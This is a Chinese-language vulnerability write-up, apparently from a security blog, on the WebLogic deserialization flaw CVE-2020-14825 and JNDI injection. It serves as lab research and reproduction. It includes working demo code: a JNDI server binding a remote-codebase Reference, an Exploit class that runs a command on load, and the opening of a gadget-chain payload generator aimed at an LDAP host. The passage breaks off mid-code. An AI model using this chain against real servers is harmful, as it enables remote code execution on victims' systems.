CVE-2020-14825——WebLogic反序列化

一、原理

（一）概述

不安全的反序列化漏洞已成为针对Java Web应用程序的研究者的普遍目标。这些漏洞通常会导致RCE，并且通常不容易完全修补。CVE-2020-14825就属于这一类。

（二）CVE-2020-14825

前面我认为针对CVE-2015-4852的补丁的绕过有两种思路，一是寻找新的可利用的类（新gadget），二是换可触发利用链的反序列化点，感觉JNDI注入类的已经不属于不完全属于这两种思路了（脸好疼）。
在这一类漏洞中，Victim反序列化的对象起到的是让Victim执行远程查询的效果，接下来直接加载远程class而没有像前面一样执行gadget类的readObject。
然而，传过去的触发JNDI注入的对象依然值得我们关注。

（三）原理

JNDI（全称Java Naming and Directory Interface）是用于目录服务的Java API，它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。和与主机系统接口的所有Java api一样，JNDI独立于底层实现。此外，它指定了一个服务提供者接口(SPI)，该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供，选择取决于所使用的实现。

JNDI注入大致流程，

1.攻击者向其控制的Naming/Directory服务上绑定一个恶意对象。
2.攻击者向有漏洞的JDNI lookup方法发送恶意URL（ip为恶意N/D，且指向绑定的恶意对象）。
3.Victim执行lookup。
4.Victim向攻击者控制的N/D服务器发起查询，N/D返回恶意对象。
5.Victim反序列化恶意对象，触发RCE。

个人理解，JNDI注入简单来说，就是在victim在执行lookup(URI)时，如果URI是恶意的，那么victim就会被攻击，所以JDNI最难的就是如何让victim来lookup我们构造的URI。
下面我们以一个常见的demo来简单演示JNDI攻击过程，

先是JNDIServer，

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference Exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:7077/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(Exploit);
        registry.bind("Exploit", refObjWrapper);

    }
}

再是JNDIClient，

package JNDI;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Properties;

public class JNDIClient {
    public static void main(String[] args) throws NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,
                "rmi://127.0.0.1:7099/");

        Context ctx = new InitialContext(env);
        //ctx.lookup("Exploit");
        //ctx.lookup("rmi://127.0.0.1:1099/Exploit");
        ctx.lookup("ldap://127.0.0.1:7099/Exploit");
    }
}

然后是我们要注册的恶意类，此处是Exploit，

import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class Exploit implements ObjectFactory {
    public Exploit() {
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        return null;
    }

    static {
        try {
            String[] cmd = new String[]{"calc"};
            Runtime.getRuntime().exec(cmd);
        } catch (Exception var1) {
            var1.printStackTrace();
        }

    }
}

接下来编译Exploit，并将class文件放在httpserver根目录下，
启动server，

启动JNDIServer,

启动JNDIClient，

可见，执行lookup(恶意url)，就有可能触发RCE。

这里，我们省去了最难的lookup之前这一部分，即让victim向JNDI server发起请求，这一部分的实现就是同一类漏洞之间的差异了，我们将在调试环节详细演示。

二、调试

（一）环境搭建

此处选用Windows10、JDK8u41，webLogic12.1.4
若要查找调试此漏洞需要的包，可使用如下脚本（参见脚本链接），

#!/bin/bash

if [ $# -lt 1 ]; then
    echo "Usage: $0 name [path ...]";
    exit 2;
fi

name=${1//./\/};
shift;
path=${@:-.};

function check-jar() {
    jar -tf "$1" | grep -iH --label "$1" "$name";
}

status=1;

while read -r -d '' jarfile; do
    check-jar "$jarfile" && status=0;
done < <(find $path -type f -name '*.jar' -size +22c -print0)

exit $status;

另，调试此漏洞，JDK版本不宜过高， JDK8u113之后默认不允许RMI从远程的 Codebase加载Reference工厂类（系统属性com.sun.jndi.rmi.object.trustURLCodebase、 com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值为false）。
若要修改weblogic的jdk版本，可参考链接，
修改文件X:\xxxx\user_projects\domains\base_domain\bin\setDomainEnv.cmd
在call “%WL_HOME%..\oracle_common\common\bin\commEnv.cmd”
一行后面增加

set JAVA_HOME=E:\Java\java8u41（Java路径）

若要启动调试，可在startWebLogic.cmd中的首部加上

set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n

类似的方法有很多，不再赘述

（二）复现

这里使用大佬生成payload的代码，参考链接，

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.util.Reflections;

import java.io.*;
import java.util.PriorityQueue;

public class CVE_2020_14825 {
    public static void main(String[] args) throws Exception {
        MethodAttributeAccessor accessor = new MethodAttributeAccessor();
        accessor.setAttributeName("x");
        accessor.setIsWriteOnly(true);
        accessor.setGetMethodName("getDatabaseMetaData");
//        accessor.setGetMethodName("connect");        //与上面的getDatabaseMetaData基本等效

        LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");

        JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
        jdbcRowSet.setDataSourceName("ldap://192.168.5.27:7099/#poc");

        PriorityQueue